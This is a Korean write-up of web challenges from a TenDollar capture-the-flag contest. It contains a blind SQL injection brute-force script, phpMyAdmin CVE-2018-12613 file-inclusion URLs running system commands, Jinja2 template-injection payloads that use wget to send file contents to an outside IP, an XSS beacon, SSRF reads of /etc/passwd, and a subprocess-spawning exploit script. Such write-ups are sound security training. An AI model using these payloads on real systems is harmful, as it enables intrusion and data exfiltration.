3rd TenDollar CTF Write up
Summary
대회명: Tendollor CTF
일정: 24 Nov, 09:00 ~ 25 Nov, 15:00 KST
대회는 개인전이었고 지인을 통해 초대 코드를 받아야 참가할 수 있다.
스코어보드는 다이나믹 스코어링 방식이었고 전체적으로 난이도가 중~상 정도 되어보였다.
문제 이름이 XSS
인 문제가 있었는데 꽤 재밌게 풀어서 풀이 작성해본다. (XSS는 마지막에)
I’m Blind Not Deaf (250pts)
<?php
include './config.php';
if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)");
$query = "select id from tdf where id='root' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if($row['id'] == 'root'){
#echo "<h2>Nice Meet You! {$row['id']}</h2>";
echo "<h2>Hello {$row[id]}</h2>";
}
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if(($row['pw']) && ($row['pw'] == $_GET['pw'])){
echo $nice_tendollar;
}
highlight_file(__FILE__);
?>
웹 문제중 가장 많이 풀린 문제다.
위 코드를 보면 딱히 필터링이 없기 때문에 blind sqli
로 root
라는 계정의 비밀번호를 뽑아오면 된다.
import requests
import string
if __name__ == '__main__' :
uri = "http://blind.tendollar.kr:8100/?pw=%27||(id)in('root')%26%26(pw)like('{}%')%23"
password = '70801f6a'
for x in range(20) :
for y in string.digits + string.ascii_letters :
r = requests.get(uri.format(password + y)).text
if(r.find('<h2>Hello root</h2>') != -1) :
password += y
break
else :
print('no : ' + y)
print(password)
root
계정의 비밀번호를 알아냈다. (70801f6a
)
이렇게 root
의 비밀번호를 알아내면 다음 스테이지로 이동할 수 있다.
Congraturation!!!!
Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1...
URL:phpmyadmin/index.php......... flag.txt
root's password:@1@2@3@4qwerasdf
다음 스테이지의 주소는 /phpmyadmin
이다. (사실 sqli를 하지 않고 게싱으로도 찾을 수 있었다.)
아까 알아낸 비번으로 root
계정으로 로그인해주자.
phpmyadmin
버전이 4.8.x
라는것을 알기 때문에
최근 CTF에 많이 등장한 CVE-2018-12613 (PMA 4.8.x RCE)
원데이를 이용해 공격할 수 있다.
위 블로그를 보면 RCE할 때 PHP세션을 이용하는데 해당 문제에서는 PHP세션 디렉토리가 /tmp
다.
따라서 LFI
할 때 /var/lib/php/sessions
대신 /tmp
에서 세션을 가져와야 한다.
http://blind.tendollar.kr:8100/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../../../../../tmp/sess_d234daed4a69adcb5434609fea57f66d&0=system(%27ls%27);
http://blind.tendollar.kr:8100/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../../../../../tmp/sess_26a9b78a5ec5874ded520965780e15bd&0=system(%22cat%20/FLLLLLL4444444GGGGGG%22);
Ninja (450pts)
Ninja문제는 jinja2 server side template injection
문제다.
ssti에 몇가지 필터 키워드가 추가된 문제며, 키워드를 피해 잘 인젝션해주면 된다.
jinja2 ssti
할때 참고하면 좋은 글이 몇 가지 있는데
https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
https://ctftime.org/writeup/10895
https://0day.work/jinja2-template-injection-filter-bypasses/
여길 참고하면 좀 더 쉽게 풀 수 있다.
http://web2.tendollar.kr:10000/?name={{get_flashed_messages.__globals__.os.system(request.args.param)}}¶m=wget%20118.37.183.185:8080/?$(ls)
http://web2.tendollar.kr:10000/?name={{get_flashed_messages.__globals__.os.system(request.args.param)}}¶m=wget --header="Content-type: multipart/form-data boundary=FILEUPLOAD" --post-file flag.py 118.37.183.185:8080
LinkedList – 1
LinkedList 1
는 PHP 오디팅 통해 풀 수 있는 문제다.
source.zip
을 다운받아서 압축을 풀어 index.php
를 확인해보면 PHP로 Linked list
를 구현해놨다.
그리고 php에서 error message
를 숨길 때 사용하는 @가 떡칠되어 있는데
전부다 ”로 치환하여 @를 지우고 보는게 정신건강에 좋다.
우선 우리가 목표로하는 flag가 어떤 조건일 때 출력되는지 확인해보자.
if ($_SESSION['link']['admin_only_list']) {
unset($_SESSION['link']);
die("<script type='text/javascript'>alert('GJ!!! The first flag is ".addslashes($flag1)."');location.href='.';</script>");
admin:
if ($_POST['value'] && $_POST['key']) {
$obj->insert($_GET['value'], $_POST['key']);
$arr[$_POST['key']] = $_GET['value'];
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
}
}
이건 flag출력 조건인데, 조건은 $_SESSION[‘link’][‘admin_only_list’]
안에
어떠한 값이든 있어야 한다는 조건이다.
아래는 우리가 아이디를 입력했을 때 $_SESSION[‘link’]
에 아이디를 넣어주는 부분이다.
if ($_POST['name']) {
$_SESSION['link'] = array('name' => htmlspecialchars($_POST['name']), 'time' => time());
die("<script type='text/javascript'>location.href='.';</script>");
}
그리고 아래는 Linked list
에서 리스트의 Node
를 삭제하는 부분이다.
if ($_GET['p'] == 'delete' && isset($_GET['key'])) {
if (!$arr[0]) $arr[0] = '';
$obj->deleteNode($_GET['key']);
unset($arr[$_GET['key']]);
#$_SESSION['link'][$_SESSION['link']['name']."_tail"] = (int)$_GET['key'] & 0x7fffffff;
#$_SESSION['link'][$_SESSION['link']['name']."_tail"]--;
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
die("<script type='text/javascript'>location.href='.';</script>");
}
우리가 주목할 부분은
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
이 부분이다.
$_SESSION[‘link’][가입한 아이디 . ‘_list’]로 값을 넣어준다.
즉, 아이디를 admin_only
라는 이름으로 가입하고 ?p=delete&key=1
로 접속하면
$_SESSION['link']['admin_only_list']
로 어떠한 값이든 들어가 flag를 출력할 것이다.
LinkedList – 2
LinkedList - 1
문제와 같은 사이트, 같은 소스로 푸는 문제다.
아래는 LinkedList - 2
의 flag 출력 조건이다.
if ($_SESSION['link'][$_SESSION['link']['name']."_tail"] > 0xff) {
unset($_SESSION['link']);
die("<script type='text/javascript'>alert('Realrudaganya?!?!? The second flag is ".addslashes($flag2)."');location.href='.';</script>");
}
이번엔 $_SESSION['link'][가입한 이름 . '_tail']
의 값이 0xff
보다 크면 flag를 준다.
아래는 LinkedList에 첫 번째 Node를 넣을 때 실행하는 코드다.
if ($_GET['p'] == 'insert_first' && isset($_GET['value'])) {
$obj->insertFirst(htmlspecialchars($_GET['value']));
$_SESSION['link'][$_SESSION['link']['name']."_tail"]++;
$arr[0] = htmlspecialchars($_GET['value']);
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
die("<script type='text/javascript'>location.href='.';</script>");
}
우리가 주목할 부분은 $_SESSION['link'][$_SESSION['link']['name']."_tail"]++;
이 부분이다.
그냥 단순하게 생각해서 해당 세션의 값을 ++해주니까 어찌됐든 0xff
보다 커지려면 255번 이상 ++
해주면된다.
즉, http://web1.tendollar.kr:10101/?p=insert_first&value=1
로 접근 255번 이상해주면 풀린다.
XSS
먼저 사이트에 접속하면 search, signin, contact 이렇게 3가지 기능이 있다.
여기서 search하고 signin 기능은 장식이고 contact 기능만 정상적으로 작동한다.
contact에서 email
과 content
를 작성해서 보내면 어드민이 내 글을 읽고, 해당 부분에서 XSS
가 발생한다.
여기서 XSS
가 발생한다는 사실은 아래와 같은 방법으로 알 수 있다.
우선 내 서버에서 nc -lnk -p 8080
명령어를 통해 8080으로 nc를 열어주고 contact에서
<img src="http://withphp.com:8080">
를 보낸 후 기다리면 아래와 같이 어드민이 접속한다.
GET / HTTP/1.1
Host: withphp.com:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E
Accept-Encoding: gzip, deflate
여기서 주목할 점은 어드민의 Referer
부분이다.
Referer
은 사이트 방문객이 어떤 경로로 자신의 사이트에 방문했는지 알아볼 때 사용하는 HTTP 헤더다.
http://localhost/archiver?url=http://localhost/admin?_id=admin&_pw=admin123^__^
로 되어 있으니
어드민이 해당 주소에서 내 글을 봤다고 볼 수 있겠다.
http://web1.tendollar.kr:10102/archiver?url=
로 이동해보자.
대충 보니 url 파라미터에서 LFI나 SSRF가 터질 거 같다.
file:///etc/passwd
를 입력해보면 정말로 passwd
파일이 읽히는걸 확인할 수 있다.
여기서 file:///proc/self/cwd/main.py
를 읽으면 source leak
을 할 수 있다.
# -*- encoding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import sqlite3
import urllib2
from selenium import webdriver
app = Flask(__name__)
createtable = """CREATE TABLE IF NOT EXISTS contact (
id integer PRIMARY KEY AUTOINCREMENT,
email text,
message text,
is_checked integer DEFAULT 0
);
"""
@app.route("/")
def index():
return render_template('index.html')
@app.route("/contact")
def login():
return render_template('contact.html')
@app.route("/submit", methods=['GET'])
def submit():
email = request.args.get('email')
message = request.args.get('message')
conn = sqlite3.connect("/tmp/mydb.db")
cur = conn.cursor()
cur.execute(createtable)
sql = "insert into contact(email, message) values (?, ?);"
cur.execute(sql, (email, message))
conn.commit()
conn.close()
bot()
return "<script>alert(\"접수 완료\"); history.back(-1);</script>"
@app.route("/admin", methods=['GET'])
def admin():
_id = request.args.get('_id')
_pw = request.args.get('_pw')
_email = request.args.get('email')
if not (_id == "admin" and _pw == "admin123^__^"):
return "do not hack!"
conn = sqlite3.connect("/tmp/mydb.db")
cur = conn.cursor()
cur.execute(createtable)
sql = "select * from contact where is_checked = 0 limit 1;"
if _email is not None:
sql = "select * from contact where email = '%s' limit 1;" % _email.replace("'", "''")
cur.execute(sql)
rows = cur.fetchall()
if len(rows) == 0:
conn.close()
return "None"
idx = rows[0][0]
email = rows[0][1]
message = rows[0][2]
is_checked = rows[0][3]
sql = "update contact set is_checked = 1 where id = %d" % idx
cur.execute(sql)
conn.commit()
conn.close()
result = """
idx : %d<br>
email : %s<br>
message : %s<br>
is_checked : %d<br>
""" % (idx, email, message, is_checked)
return render_template_string(result)
@app.route("/archiver", methods=['GET'])
def archiver():
url = request.args.get('url')
r = urllib2.Request(url)
r.add_header('Referer', request.url)
return urllib2.urlopen(r).read()
def bot():
options = webdriver.ChromeOptions()
options.add_argument('headless')
options.add_argument('window-size=1920x1080')
options.add_argument("disable-gpu")
options.add_argument("--no-sandbox")
driver = webdriver.Chrome('./chromedriver', chrome_options=options)
driver.get('http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E')
driver.implicitly_wait(1)
driver.quit()
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
나는 main.py
나 mydb.db
에 플래그가 있을 줄 알았으나 확인해보니 없었다.
그럼 여기서 우리가 주목할 부분은 render_template_string(result)
이 부분이다.
render_template_string
와 같은 렌더링 함수는 {{
와 }}
로 감싸진 부분을 jinja2
로 넘겨준다.
즉, {{1}}
와 같이 보내면 server side template injection
이 가능하다는 얘기다.
이제 email
이나 contents
부분에 템플릿 인젝션 페이로드를 넣어서 보내주고
http://web1.tendollar.kr:10102/admin?_id=admin&_pw=admin123^__^
로 접속해서 확인하면 된다.
셀레니움 봇이 돌고 있으므로 아래와 같은 스크립트를 돌려놓고 들어가는게 편하다.
import requests
if __name__ == '__main__' :
exploit = "{{''.__class__.__mro__[2].__subclasses__()[234](['ls', '-al'], shell=True, stdout=-1, stderr=-1,stdin=-1).stdout.read()}}"
for x in range(3) :
requests.get('http://web1.tendollar.kr:10102/submit?email='+exploit+'&message=abcd')